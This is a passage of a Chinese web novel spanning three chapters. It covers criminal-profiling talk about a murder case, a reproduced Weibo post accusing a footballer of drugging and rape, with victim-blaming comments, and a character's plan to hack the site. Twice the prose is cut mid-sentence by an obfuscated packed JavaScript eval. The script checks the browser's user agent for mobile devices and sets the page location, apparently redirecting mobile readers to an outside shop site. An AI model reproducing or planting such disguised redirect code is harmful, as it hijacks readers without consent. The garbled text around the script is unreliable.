艾莉很快翻到那一页,“有组织罪犯通常对他们要如何施行犯罪有一个清晰,明确的计划,”她读的是云决明留在书本上的笔记,“这个计划通常比较复杂,涉及到与被害人交谈,诱骗,甚至是发展一段关系,证明有能力做到这一点的罪犯通常都具备基本的社交能力,甚至可能非常擅长与人交际。同时,罪犯也会有计划地挑选自己犯罪的手法,时间,以及地点,以便最大程度地达到他的目的。相反,无组织罪犯缺乏控制力,在实施犯罪以前,他们往往就已经先显露了不正常的精神状态,或者是暴力的前兆行为,由于无组织罪犯通常是冲动犯罪,他们的作案充满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041231|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了随机和不可预测性,但同时,他们也很难抹掉自己留在犯罪现场的证据,往往是警察掌握了大量的证据,却苦于无组织罪犯行为的难以预料,很难锁定嫌疑人并将其抓住。” “这段话只是告诉你这两种犯罪的区别,让我告诉你怎么正确地把它们应用在这个案子上,”云决明说,声音不自觉因为兴奋而提高了,“首先,低风险人群之所以叫做低风险人群,就是因为他们日常生活中遭遇这类谋杀的概率很低。我们可以假设,这个无组织罪犯出现在了停车场,他不管那儿有没有监控摄像头,也不管开来的是自己的车子,一不小心就可能会遭到追踪,假设现在他出于某种原因认为自己必须要杀人,而他此时瞧见了你的父亲——一个一米八七,体重一百七十斤的成年男性,你觉得他选择你的父亲的可能性有多少?” “很低。”艾莉小声说,云决明注意到他提起那个停车场时,她的脸色古怪地扭曲了一下,两只手紧紧交握着。但他正说在兴头上,没有多想。 “没错。即便我们假设这位无组织罪犯患有精神分裂症,他脑子里有个声音叫他一定要把眼前这个牛高马大,健壮有力的男人沙子,他的袭击能成功的概率也很小,而且他一定是从背后突袭的——但是根据法医报告,你父亲遭受的第一下攻击是在喉结下方,也就是说,他是正对凶手时遭到了袭击。这也是为什么警察认定肯尼就是凶手的其中一个原因,他们认为你的父亲因为与肯尼认识,放松了警惕,结果被对方趁机刺杀。 “肯尼是无辜的,但我认为警察的这个思路没错,如果凶手是个有组织罪犯,观察了你的父亲很久,他就能叫出你父亲的名字,然后在他以为是熟人与自己打招呼,无防备转过身时突然发起袭击。甚至可以说,他是有意挑选那个时间,那个地点作案的。” “然后呢?”艾莉问,她的声音嘶哑得不正常。 “确定了这一点,就要明确一点,凶手是基于什么样的原则选中了你的父亲——他是一个非常不同寻常的选择,所以我最先从他的族裔和身份下手,再逐渐拓展向他的人生经历。在这方面,艾登跟我走了一条不同的道路,他想要通过找出受害者之间的联系来找出凶手。这是很经典,也非常典型的警探破案手法,我猜他是在联邦调查局实习的时候学到的。但他尝试了两年,都没有任何进展,所以我打算采取完全不同的方式。艾登的犯罪心理学老师,索夫科瓦斯基教授,给了我很多有用的建议。 “比方说,我假设凶手选中你父亲的缘故是因为他是白人与亚裔的后代,这个人是个极端种族主义者,他痛恨你父亲这种代表血统背叛的存在,你的程序就会自动从数据中找出从1960年开始,失踪或去世的白人混血后代,然后在这份新选中的数据中再进行筛查——比如说,他们的死亡或失踪日期都集中在什么时候?最后活着出现的地点在哪?经济状况如何?有多少是低风险人群,有多少是高风险人群,等等。重合率越高的人,就越有可能是同一件案件的受害者。” “这么做,你也有可能每一次都会得到一批几乎不重合的数据,那你打算怎么办?” “不会的。”云决明坚定地回答,“就像我说的,你的父亲是个非同寻常的选择,也就是说,凶手一定是看中了他身上多个特征,才会最终选中他。这种特殊而且明确的喜好一定会留下痕迹,他也许狡猾无比,手段残忍,有一定反侦察的意识,才得以在约州蛰伏这么多年却从未被警察抓住——但有一点是他无法遮掩的,也是任何一个有组织罪犯都难以遮掩的,那就是他自身的欲望,必须通过杀人才能满足的欲望。” 艾莉微微张开了嘴,欲言又止,脸上现出一种奇特的混合着茫然与急切的神情,有点像一个急于在口袋里找到吸入剂的哮喘病人。云决明刚想问她想到了什么,身后被刻意调低声音的电视突然爆发出一阵激昂的音乐,把两个人都吓了一大跳,“艾登的比赛开始了,”逮着了这个机会,艾莉匆匆跳下椅子,仿佛极力想逃离什么,“来,洛克希,来,我们一起看。” 云决明没有强迫她继续这个话题,他看得出自己一番话挑起了对方某些不甚愉快的回忆——很有可能就是导致她开始自残的源头之一,因此只是把果汁端到了客厅,坐在沙发的另一头,默不作声地听着主持人富有激情的开场白。 “你今天是特意过来公寓陪我一块看艾登的比赛直播的吗?”U大校队出场以后,有好几个镜头切给了正发出排山倒海欢呼的观众席,一瞥间,云决明在专门给亲属预留的座位席上瞧见艾登爷爷奶奶及母亲的身影一晃而过。这个想法霎时闪现在他脑海里,云决明禁不住开口了。 “别废话,”艾莉一哼,“专心看球赛——我告诉你,要是艾登回来以后,你说不上来他今天在赛场上有多少个高光时刻,或者没法用栩栩如生的语气把它们统统描绘出来,就等着听他埋怨吧。我可是有过来人经验的。” 她这番话,和直接承认也没什么区别了。“没关系,”云决明笑了,“我已经设置好将节目录下来了,大不了我就再看一遍。” “也就只有你这种对傻瓜痴心不改的人干得出这种事了。” 就在这时,云决明的手机突然响了起来,他赶紧站起身,想把手机从裤兜里掏出来关掉,艾莉不满地瞪了他一眼,“我刚才说什么来着?”她没好气地开口了,“你不仔细看,等会艾登比赛完回来提问你,我可不会替你解难——” “是黎疏眠。”云决明轻声说,这句话让艾莉立刻安静了下来。 “喂?”他接听了来电。 “看北美吐槽君的微博,云决明,就现在。” 黎疏眠焦急的声音在电话那头响起。 55. Chapter·Two “北美吴彦祖,北美金城武,一定要看到我!这是我第一次投稿不知道格式。急急急!替姐妹求助! “标题就叫做‘中国留学生参加派对被强煎,学校完全没有任何作为,敢情留学生不是人,只是送钱的机器呗。’或者君君看着取个合适的,我现在真的是气到浑身发抖,打字都打不利索了,稍后我整理一下,把来龙去脉发给你看。 “po主女,16岁,坐标约州,正在念高中。首先先跟大家介绍一下这件事情发生的背景,可能会有点长请大家耐心看一下。 “事情是这样的,如果评论区里也有小伙伴在约州留学的话,应该知道一个多星期以前很轰动的那场生日派对,寿星是约州州立大学校橄榄球队的四分卫。为什么说轰动呢,因为这个四分卫在我们州很有名,颜值打分的话可以有10分满分,长得很像尊龙,特别特别帅,家里特别特别有钱,当然也特别特别花心,据说过去交往了二十七任女朋友。他是abc香蕉人,所以平时不跟中国人混,只跟美国人玩。但是据说他家里人很保守,很反对他将来娶白人女生,一定要他娶一个家世清白中国女生,所以这个四分卫的朋友今年就给他举办了一场很宏大的生日派对,邀请了全州的中国留学生女孩过来参加,美名其曰给他选妃呗。不要觉得太惊讶,发布这个消息的还是这个四分卫的前女友呢,只能说有钱人的世界我不懂呗。 “po主对这个派对也挺感兴趣的,当然我很有自知之明知道四分卫是看不上po主这种小透明的,纯粹就是过去看看热闹吃吃喝喝玩玩,不过登记参加派对要实名,不给未满十八岁的女生参加[白眼][白眼][白眼],所以po主就拜托一个跟四分卫很相熟的朋友,也就是这次的受害者,我们叫她A好了,带po主和po主的几个同学去玩。 “简单介绍一下A,颜值按照君君这里的标准打分的话,素颜7-8,化完妆以后有8-9,以前在国内都是校花级别的。身材很好很好,前凸后翘,腰细腿长的。A人特别好,特别温柔贤惠,就是典型的大家闺秀。她家挺有钱的,跟四分卫家有交情,据说四分卫的奶奶其实已经内定她是未来孙媳妇了,只是四分卫自己不想被这种包办婚姻束缚住想自己找一个,所以才开了这次派对。当然我想不到这会成为之后酿成悲剧的原因。 “平心而论,其实派对本身还行,吃的喝的很多,都是挺贵的东西,也没有人管你多大了,能不能喝酒。还有很有名的DJ现场打碟,来了好多妹纸,估计能有上百个吧,全都打扮得花枝招展的,有几个超夸张的,还穿了那种很隆重很花哨的汉服过来,不过没有人引荐,她们其实根本没法跟四分卫说上话,他身边围着的人真的超多!!!不过po主还挺幸运的,A把po和po的同学介绍给了四分卫认识,他真人确实长得很好看,可以出道当明星了。po跟四分卫打了招呼,心满意足的就去玩了,因为po和po的同学都住在当地的美国住家,有宵禁,所以我们大概玩了一个多小时,就走了。因为派对上人很多,po没看见A,所以只是在手机上跟她说我们回去了。 “其实现在想想我还挺后悔的,如果那时候我坚持要找到A跟她打个招呼再走,悲剧可能就不会发生了。 “第二天起来,po就收到了A半夜发来的两条语音消息,哭得语无伦次,完全听不出来她在说什么,po很着急,就赶紧给她打电话问她发生了什么事,但是A没接电话也没回消息,一直到晚上吃完晚饭po才收到她发来的消息,下面是信息截图,可能顺序会乱君君发出去的时候注意一点。” A:「我的手机弄丢了,我回家拿了旧手机才上来看到你的消息。」 Po:「发生什么事了?」 「你快跟我说发生什么事了?」 「我好着急」 A:「我不知道该不该跟你说。」 「警察叫我不要跟任何人说这件事。」 「我现在根本不知道该怎么办,好害怕,好痛苦,我好想死」 Po:「你别吓我啊啊啊啊啊,到底发生什么事了?」 A:「我被人强煎了。」 Po:「什么??!!!!!!!」 「在昨晚的派对上?谁?你已经报案了吗?警察怎么说?」 A:「我的酒应该被人下药了,我中途拿手机回了个消息以后再拿起来喝了两口,就觉得头很晕,特别晕,这个时候旁边有个人扶住我,问我有没有事,我说我头很晕,他就说可以把我带到楼上去休息。」 Po:「你知道那是谁吗?你跟艾[马赛克]说了这件事吗?」 A:「我不知道那是谁,我在那之后的事情都记不得了。」 「我还没有跟[马赛克]登说这件事。」 「我不知道要怎么面对他,我已经被玷污了,我好怕他会嫌弃我,我好怕他会觉得我脏,我真的好想死。」 Po:「你先别担心这些,你后面还记得些什么事吗?」 A:「我真的已经没了大部分的记忆,那杯酒里面一定给人下药了。」 「我以前听说过这些兄弟会派对都玩得很开而且会有这种事发生,但这一次是黎疏眠邀请的,我以为有她在不会出这种事,大家都说她很负责任。」 Po:「负责任还会让你被侵犯吗???!!!」 「妈的我都想给她一巴掌,既然是她发起邀请的那她就该确保所有宾客的安全啊!」 「怎么可以让这种事情发生!」 「后来到底发生了什么事,你还有什么记得的吗?」 A:「我已经不记得侵犯那个人长什么样了,但我就记得我被侵犯时一直哭着想为什么会有人对自己的同胞做这种事,所以我很肯定侵犯我的应该是个华裔男性。」 「之后我只记得自己很害怕,很恐惧,当时派对还没有结束,我不敢直接走下楼,我好怕被[马赛克]看见我当时的样子,我好害怕撞见强煎我的那个人。」 「我从窗户爬了出去。」 「我本来想马上就开车回家的,但我又记起来我喝酒,我就缩在副驾驶座位下面那个地方过了一个晚上,我也不知道那几个小时自己怎么捱过来的,一直在哭,觉得自己是块肮脏破旧的臭抹布,我一直在拼命抓自己的胳膊,都抓出血痕了,很想把自己的皮肤都扒掉。」 Po:「你已经很坚强了,真的!」 「不要有这种想法!真正爱你的人是不会在意这件事的,你在对方的心里仍然会是冰清玉洁的存在!」 「而且,至少你鼓起勇气去报警了!」 「很多女生根本没有这种勇气!」 「那现在警察怎么说?」 A:「警察就记录了我说的话,把我送去U大的校医院做了检查。」 Po:「天啊……怎么感觉警察很敷衍的样子,是不是因为他们以为侵犯你的是兄弟会的成员,根本不想理会啊?」 「你要不要去做一个艾滋病的检查之类的,我好担心。」 A:「还好,检查时说没有在我体内发现青液,对方应该用了套。」 Po:「天呐噜我觉得这是个老手,知道怎么做才不会被抓住。」 「那警察为什么跟你说不要跟任何人说?」 A:「他们说因为我不记得强煎犯的长相,我体内又没有青液,他们要一个个排查可能的嫌疑犯,叫我在他们有进展以前不要跟任何人说这件事,免得打草惊蛇,把可能留下来的证据给破坏了。」 “君君,这已经是一个多星期以前的事了!!!!! A这段时间寝食难安,痛苦不堪,已经好几次自杀未遂又被我和另外的几个朋友劝回来了。然而U大那边却毫!无!动!静!连个后续的跟进电话都没有,我们帮A三番五次地打电话去问,警察一直敷衍说在查了在查了什么的,可是这件事根本不难查好吗! 那天派对上的华裔男生有谁,我们随便打听一下就打听出来了,知道十有八九就是谁干的。说白了,就是对方是美国公民,比我们这种没人权,巴巴地过来送钱的中国留学生高贵呗!!!(要不是爸妈强迫我出来留学,我根本不想出来,清华北大不好吗?) 就是学校不想管这事呗!!! 就是觉得强煎不是什么大事呗!!!!!! 这么多年过去了,合着亚洲女性在他们眼里还是巴不得跪舔高贵的洋大人脚的低贱支女呗!!!!!!!! 这件事情对一个女孩子的名誉损伤有多么大,A勇敢站出来发声却被这样随意打发,谁知道还有多少忍气吞声,息事宁人的留学生女孩忍受着同样的屈辱??A现在已经快被这件事情折磨疯了,跪求各路网友给出能让学校重视这件事,彻查到底的建议。 “还有,华裔不是中国人!华裔不是中国人!他们自己都不觉得自己是中国人了!也别拿同胞来说事了!我们没有这种禽兽不如的同胞!” 看完全文,云决明的下巴已经合不上了。 “快跟我翻译一下,这都说了些什么?”艾莉也不管球赛了,急得在他身边打转,一个劲探头看着他的手机屏幕,“是不是那个污蔑艾登强煎的女孩又说了些什么?” “我等等再跟你翻译,”要把这么长的一篇投稿翻译出来还真不容易,云决明做了一个让她稍安勿躁的手势,掏出了手机,“让我先打给黎疏眠。” 电话几乎是一响起就被接通了,“你看完了?”会长直截了当地问道。 “看完了,我感觉这是她一人分饰两角自导自演投的稿件,”云决明说,“但先不说这个,现在最主要的问题是,关注北美吐槽君的很多都是留学生,那天晚上只有艾登一个华裔男性这件事马上就会被扒出来,唐泽茹这篇投稿的煽动性太强了,我们该怎么办?” “而且她还特意没给我的名字打码,”黎疏眠冷笑了一声,“看来对我是余怒未消,还想顺便搞臭一波我的名声。你看了这条微博的评论区吗?” “我还没来及看——我现在就看。”云决明在几年前注册了一个微博号,主要是想跟他在国内的同学联系,然而,他随即就发现微博与□□太不一样了,想要凭空找到一个人——尤其是分离几年以后,他连自己的同学会用什么样的昵称都猜不出——几乎是不可能的,便放弃了。最令他感到惋惜的是他原先在国内使用的□□号早就被盗了,连密保问题都被篡改,根本找不回来,从此就失去了和国内同学的联络。 他点开评论区,这条投稿是半个小时以前发出的,到现在已经积累了四五百条评论,最令他感到不可思议的是,评论区第一条评论竟然是“你不把这位四分卫的照片发出来,我们怎么知道他有多像尊龙?”光这条评论就有五十多条回复,都是附议对方说法的。 往下则是“这道题超纲了,我不会做,只能抱抱A,虽然戴套了也去做一下检查吧,不怕一万就怕万一,我觉得po说的挺对的,这应该不是对方第一次干这种事了,下药带走强煎一条龙干得挺顺手的,有哪位在U大念书的同学可以帮帮忙吗?” “既然已经大概知道是谁干的,难道不能让A直接告诉警察侵犯她的人到底是谁吗?还是说一定要有青液作为证据才可以?” “举办选妃式生日派对?前女友帮忙发布邀请?……[再见]我只能说你们城里人太会玩了。” “感觉原po虽然猜出了是谁但是没有直接跟警察说,是不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17041232|194687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 因为猜出的那个华裔家里比较有钱有势?A担心遭到对方的报复不敢说,只能寄托警察来处理这件事情?这样的话我觉得po的朋友案件能被侦破的可能性很小,能进入兄弟会的华人背景多半都很硬,先找个律师吧。” “卧槽!卧槽!我就在那个派对上!我怎么不知道发生了这种事????????而且那个派对上有别的华裔男性吗?我好像一个都没看到。卧槽,真的好想知道是谁啊!是U大的学生吗?求原Po看见私我姓名啊!我保证不说出去!!!” “第一顶楼上,无论如何做个检查。第二,保留好全部的证据,做好打拉锯战的准备,如果对方真的有权有势的话在座的各位也帮不了A什么,赶紧先找律师。第三po你就不怕发在这里被强煎犯看到然后报复你的朋友吗?第四如果学校拒绝配合消极怠工的话,找大使馆向学校施压是最有用的。顶我上去让原po看见!” “A会被强煎也有她自己的问题吧,小心一点就不会被人下药了还去怪邀请你来玩的人[白眼],而且派对上那么多女生为什么偏偏看上A呢?” “对,我刚想评论呢就看到课代表了,我也觉得A肯定有问题,派对上那么多女孩不给别人下药就给你下药,说明A也不是什么大家闺秀,真的大家闺秀还会来这种派对?跑去有一堆外国人还是在兄弟会宿舍举办的派对,会发生什么心里没点数吗?这么心大我也是醉了。” “心疼po的友,一定要告诉我们后续的发展啊。” 匆匆一眼,云决明就只看见了这几条评论。 “只有一条是那天晚上来参加派对的学生发的,”他说,“我没看见明确指向艾登就是犯人的评论。” “我也没看见,但我认为不能任由这件事情继续发酵下去,”黎疏眠说,“我看见这篇投稿的第一时间就联系了北美吐槽君,这也要谢谢唐泽茹,她没给我打码,至少给了我一个能证明自己就是当事人之一的证据,我告诉那个微博号,这个案件警察已经在调查中了,这么贸然被揭露可能会对案件的调查造成影响,投稿的是个高中生,比较年轻而且也比较冲动,可能不明白随便发投稿的后果,希望微博号能在不良影响进一步扩散以前删掉投稿。目前对方还没回复我。” 云决明不禁惊叹于黎疏眠的雷厉风行。 “唐泽茹会跑到北美吐槽君上投稿,我一点也不惊讶,”黎疏眠接着说了下去,声音平静,隐隐含着几分暗涛翻涌的怒意,“她之前就用同样的手段对付过我,我一直懒得跟她一般见识。但她这一次都光明正大地在投稿里对我指名道姓,把我也牵扯进她这个肮脏的小游戏里,想要通过谴责我的失职来证实她作为受害者的无辜,实在是太可笑了。” “她发这个投稿是想给艾登施压吗?”云决明不安地瞥了一眼电视,现在下半场的第三节快结束了,U大领先,虽说设了静音,但从屏幕上起伏若波浪的红潮也能看出人们的激动,镜头屡屡切给在赛场上疾驰的艾登,他刚刚抢到了球,正用力向外接手投掷而去,那球在空中划出了极长的一道弧线,云决明自己也禁不住屏住了一秒呼吸,直到外接手牢牢抱住橄榄球后才呼出,接着说了下去,“她是想要艾登主动来找她撤销起诉吗?” “很有可能,你看评论里已经有人建议她找大使馆施压了。唐泽茹很显然希望艾登能看见这些评论,她不是真心想得到什么建议,她只是想让艾登知道她有什么手段,她可以鱼死网破到什么程度,以及想要不动声色地让艾登知道她现在究竟有多么痛苦——老实说,一个刚刚被侵犯不久的女生能这么快就振作起来,写出这么一篇投稿,实在是令我刮目相看。我甚至都怀疑她其实真的找了个年轻的高中生来代笔。” “你觉得接下来会发生什么事?” “我不知道。”黎疏眠的语气有些无奈,“如果北美吐槽君愿意删掉那篇投稿,也只是阻碍了这个新闻在国内传播而已,这件事在约州的华人圈子里已经传开了,迟早会有人发现那场派对上只有艾登一个华裔。到那时,舆论会转往一个怎样的走向,连我也没法预测,只希望这条新闻不会从留学生相对比较封闭的社交环境泄露出去。体育赛事本来就很残酷,对对手进行舆论和名誉上的打击也是比赛的一部分,如果唐泽茹决定向本地的八卦小报爆料这个消息……” 黎疏眠没有接着说下去,但云决明很清楚后半句话的内容会是什么——“艾登就完了”。 “也许我可以让艾登警告威尔逊校长,”他打起精神,强迫自己把注意力集中在眼前的麻烦上,“之前校长不是打算给唐泽茹一笔封口费,还打算让她签署一份具有法律效应的保密协议书吗?” “既然她已经把这个故事投稿到了北美吐槽君那,我很怀疑她还会不会接受封口费,不过,世事难料,这也是一个值得一试的办法,就姑且先这么做吧。” 挂掉电话,云决明一转头,发现艾莉已经从书包里拿出了自己的笔记本电脑,十指如飞般在键盘上飞舞,嘴角紧紧抿着,像是崭新的橡皮擦上用指甲掐出的一条缝。 “你在做什么?” “后备计划。”艾莉咬着牙说,“我可不会坐以待毙,等着看那个什么微博号会不会撤下那什么投稿,让我研究一下这个网站的数据库,看看怎么侵入——我只黑过一两个小网站玩一玩,还没有试过干一票大的,但凡事都有第一次,不是吗?” “呃——”云决明觉得从法律层面来说他应该阻止艾莉的行为,但他的心情完全走向了一个相反的方向。 “在我研究的时候,请你把唐泽茹的投稿一句一句地翻译给我听,”艾莉根本没管他的反应,自顾自地说了下去,“我倒要看看她都胡说八道了些什么!” 56. Chapter·Three 橄榄球比赛结束后,艾登给云决明发了条信息:因为他们赛季第一场比赛就大获全胜,教练们晚上请大家出去吃饭庆贺一下,说不准什么时候能回来。 但聚会出乎意料地结束的很快。 首先,教练不允许大家喝酒,对99%的队员来说,这就扼杀了聚餐的全部乐趣。其次,可能是因为唐泽茹的事情,斯蒂文教练一而再再而三地在餐桌上嘱咐大家不要做任何对球队名誉有害的事情,车轱辘话说了一箩筐又一箩筐,几乎都没怎么点评他们今天的战术运用,团队配合,还有每个上场队员各自的高光时刻。艾登只觉得气氛沉闷,其他人也多半如此,甜点还没上来,就已经有一大半的队员在打哈欠,看手机,甚至开始与邻桌的年轻女孩调情。见状,副教练便站出来打了圆场,说今天大家都辛苦了,想回去的可以早点回去。 艾登等的就是这句话,把手机往兜里一揣,迫不及待就走了。 回到家的时,他与正牵着洛克希出门的云决明正好撞上。 “你回来的好早,我还以为你要到半夜才回来。” 与他想象不同,云决明并没有因为见到他欣喜不已,或者是第一时间恭喜他取得的胜利,相反,他的脸色有点古怪,一副茫然失措的忧郁模样,艾登不禁怀疑他根本没有观看直播——但转念一想,又觉得不对,艾莉不是专门过来陪他看比赛了吗? “怎么了?”他问道,“你跟艾莉吵架了吗?” “当然不会。” 洛克希能听懂这段对话不是在讨论要带它去哪里散步,不耐烦地吠了一声,艾登以为它会委屈巴巴地看向自己,谁知它瞥也没瞥自己一眼,只是抬起头蹭了蹭云决明的腿,舌头热切地舔着他的手,催促着他快点带自己走。 “先上车吧,”艾登哭笑不得地看着大狗,伸手开了副驾驶侧的车门,“我们一起带洛克希走走。” “好。” 大狗雀跃地跳上后座,爪子急切地扒着玻璃,在真皮座椅上来回打转,一会又把头挤在他们肩膀中间,湿漉漉的鼻子拱拱左边,又贴贴右边。这情形让艾登莫名觉得是一对新婚夫妻带着孩子一起出去踏青。不知怎地,这个想法让他脸猛然发烫起来。 车子平稳地驶出小区,“你们把我做的菜都吃完了吗?”艾登率先打破了沉默,自从知道艾莉只会给云决明做面条和番茄炒鸡蛋以后,每次他都会做上满满一桌菜,放在冰箱里,好留给他们两个吃。他最近厨艺越来越好,已经开始挑战橙子烤鸭这样高难度的食谱了。 “没怎么吃。” “味道不好吗?”艾登吃了一惊,又有点不快“还是你不爱吃?” 然而,云决明没有立刻回答他的问题,他仍然是那副举棋不定,欲言又止的模样。逐渐地,缓慢膨胀的沉默填满了车内的每一寸空间,就连洛克希也识趣地趴下,不再急切地四处嗅嗅刨刨。艾登只能在看右后视镜时偷眼瞥一下他,路灯是一片又一片洒落在挡风玻璃上的月色,月亮是漆黑路段上的路灯,柔和地轮流照进云决明的发丝,城市空旷的轮廓在他清瘦的颧骨上做着素描,夜色在轮胎下疾驰,把星光全留给他的双眼。 很少有人会用美丽形容男孩,多数男性觉得那是对自己尊严的侮辱。但此刻,这个词在艾登心中失却了从发明那一刻以来所有的性别意义,回归到最初第一个意识到这种情绪的人类心中所激荡的感慨,他心中能想到的就只有这个简单的词,远胜过之后诗人在此之上创造的各种拗口复杂的形容。 他也没有开口,生怕随意蹦出的字眼会如粗鲁的石块,投入清澈的池塘,揉皱一池清光。 下车以后,云决明才终于说话了,“我还没祝贺球队的大获全胜呢,你打的很棒,艾登。” “只是很棒?拜托,你看到我比赛最后三分钟那个精彩的长传了吗?我敢说,那一刻体育场里的嘶吼,就连太空站里的宇航员都能听见。”艾登牢牢抓住了洛克希的牵绳,冲云决明一眨眼,“你不会是因为苦思冥想要怎么夸奖我在赛场上的表现,才没吃下多少饭吧?” 通常云决明都会被他逗笑,但他这次连嘴角都没动一下。 “艾莉没吃,是因为她一直在研究要怎么黑进微博。我没吃,是因为唐泽茹在北美吐槽君——一个类似于接收投稿后发出的推特号——上发声了,我一直等着进一步的消息,什么都吃不下。” 奇怪的是,他没有立刻因此震惊或勃然大怒。 他此刻唯一的想法,是幸好云决明没在车上告诉自己这个糟糕的消息,他一直知道唐泽茹不太可能被轻易就打发走,但为了那么一个疯女人破坏适才宁静的路程,哪怕再附加上全世界的财富,艾登也觉得不值,更不值得的,是云决明为了这事连饭也不吃。 “进一步的消息,是指什么?” “艾莉成功黑进去的消息;或者是对方终于听从了疏眠的建议,删掉了来稿的消息——结果是后者,大概在你回来一个小时以前,那条微博消失了,那时艾莉还在努力。” “她公然在微博上说我强尖了她?” 艾登松开了洛克希的牵绳,狗狗公园里空无一人,他便放心地让它撒开欢跑了,自己则不紧不慢地跟在云决明身旁。虫鸣与微弱路灯的哼鸣声从脚下沙沙的草地一路蔓延,在天际轻声合唱,艾登觉得自己心中也有什么应和着,也许是血液温暖流淌的声响,也许是他与云决明应和的呼吸。漂浮着落叶的泳池;永恒孤独航行,朝着未知无垠进发的飞船;轻柔落在火焰上,亲吻着炙热的飞蛾,这样的宁静总会让艾登想起这些适合放在老旧海报上的情形。一帧一帧过去,最后出现的永远都是云决明,他仿佛与月色融为一体的侧脸,艾登愣神凝望许久,才意识到自己瞧的是现实中的他。 半个小时以前,他还挤在喧闹的餐厅中,庸俗的口水歌像个快餐店里加工出的家具一样被砂纸般的劣质音响打磨着,耳边全是队员对他与杰森的吹嘘——后者比赛一完就急不可耐冲进更衣室,出来后瞳孔涣散得几乎没有任何焦点。整场比赛,艾登不记得他有说出任何一句话,所有战术的命令都是自己下的。 然而,半个小时后,他能拥有这一刻——艾登觉得没有任何事情能影响自己的心情。 “这对她有什么好处,”他平静地又问一句,“美国人又看不懂微博。” “她知道你会知道这件事,她想要你服软——至少我,艾莉,还有疏眠都是这么觉得的。评论区里有很多人给她出谋划策,我猜她也想让你看看她能鱼死网破到什么地步。而且,在评论里已经出现了那天晚上参加了派对的女孩,如果疏眠没能及时让微博号删掉,会有更多人看见那条投稿,说不定就有谁知道你是那场派对上唯一的华人男性。” “她觉得,如果我意识到我的名誉可能会因此被毁掉,我就会主动去找她?” “大概是这样。” 洛克希喘着气从他们身旁跑过,绕了一个圈后又跑远了,在公园另一边篱笆边的树根下寻寻觅觅。 “你在心理学上比我更有天赋,Ming,你说说我该怎么办?如果我瞒着校长和教练,主动找她谈谈,你认为会让事情好转吗?” “除非你准备好让她成为你‘完美的妻子’,私下去找她谈谈只会让事情更糟糕。如果唐泽茹真的患有被爱妄想症,她自有一套自成体系的世界观,如果不配合药物,和专业的心理治疗,你能说服她的概率基本为零。” “那我除了呆坐着,等她想出下一招该怎么出,然后被动接招以外,还有什么是能做的吗?”艾登苦笑了一下。 “警告威尔逊校长,让他给唐泽茹提供那笔封口费,想办法让她签了那份法律文件,除此以外没有别的办法。”云决明说,“当然,还有一种,就是她突然醒悟过来,决定告诉警察到底是谁强尖了她。但是让一个患有被爱妄想症的病人承认自己是错的,无异于期待一个强尖犯会挥刀自宫。” “就这么不可能吗?” “有研究表明,被爱妄想症有时是由突然产生的深重孤独感,自卑感,或者是尊严受损引起的一种自发性精神防御机制,这些感情往往可能因为生活中的重大变故引起。为了应对,患者会幻想一个人——通常社会地位都比患者高上许多——无可自拔地爱上了自己,通过这种幻想来获得自我肯定和自我认同,来抵御孤独,自卑,尊严受损而引起的认知失调。你要他们意识到自己做错了,等于让他们承认自己就是个一无是处的失败者,这本身就违背了人类心智的运作法则。” 云决明无奈地叹了一口气。湿润的泥土上,两个男孩走得很近,经常,就像浪花倏地拍上随波逐流的小船,他们的肩膀偶然会碰到一块,艾登每每都能感受到从云决明手臂传来的凉意,像悄悄从盛夏溜进深秋夜晚,暑气若有若无地被抵消着。奇怪的是,每次接近,都只让他觉得更燥热,如雨下在岩浆上,转瞬就被蒸发为一股翻腾至他心中的热浪。 应该是因为唐泽茹的事情,他心想,搅得自己心烦意乱的,注意力全集中在几根汗毛上,都没法专注。 “真是太好了,我不得不写信给肯尼的妻子,告诉她我负担不起小肯尼的学费,没法让她送他去上私立学校,好让他不必再忍受那些因为他父亲而来的霸凌,这会我却要写一张三万美金——甚至是五万美金的支票给威尔逊校长,让他支付给一个我极度厌恶的女孩,为一件我根本没做过的事情。与此同时,两个罪犯逍遥自在地在约州大摇大摆地自由行走,我却要为他们的所作所为买单,这世界上还有比这更加完美的事吗?”艾登没好气地抱怨了一句,他心中有一种蠢蠢欲动,挠得人心痒难耐,又全没挠在实处的冲动,也不知道是被什么引起的,干脆全都发泄在了语气里。 “别担心找到杀害你父亲凶手的事,”云决明说,他平静而不带任何感情的声音总能抚慰艾登的怒气,“有我在,而且我已经取得了一些进度了。” “进度?”艾登猛地转过头,差点扭了自己的脖子,“你是说,我花了两年都取得什么实质性进展的案件,你不过才接手了四个月,就能‘取得一些进展’了?” “话不能这么说,”云决明不以为然,“两年前你只是一个高中生,什么心理学知识都没有,只能笨拙地按照你在FBI实习时学到的办法,凭一己之力一点点的筛选线索,硬生生把本来需要一个警察局十几个菜鸟警察,再外加七八台电脑,才能高效率完成的工作抢了过去。但我在接触这个案件以前已经自学了五年心理学——不管怎么说,我的基础都比你强。况且,你虽然学的是犯罪司法专业,你的专业课也几乎没涉及多少与连环杀人犯,犯罪心理学,犯罪行为学这方面的知识有关的内容,而我这几个月学的全是这些。” 讲起心理学,云决明倒是从没吝于显摆自己的天赋,神色间尽是得意,就只差一根在屁股后头高高翘起的尾巴了。 “那说说,你取得了什么进展?” 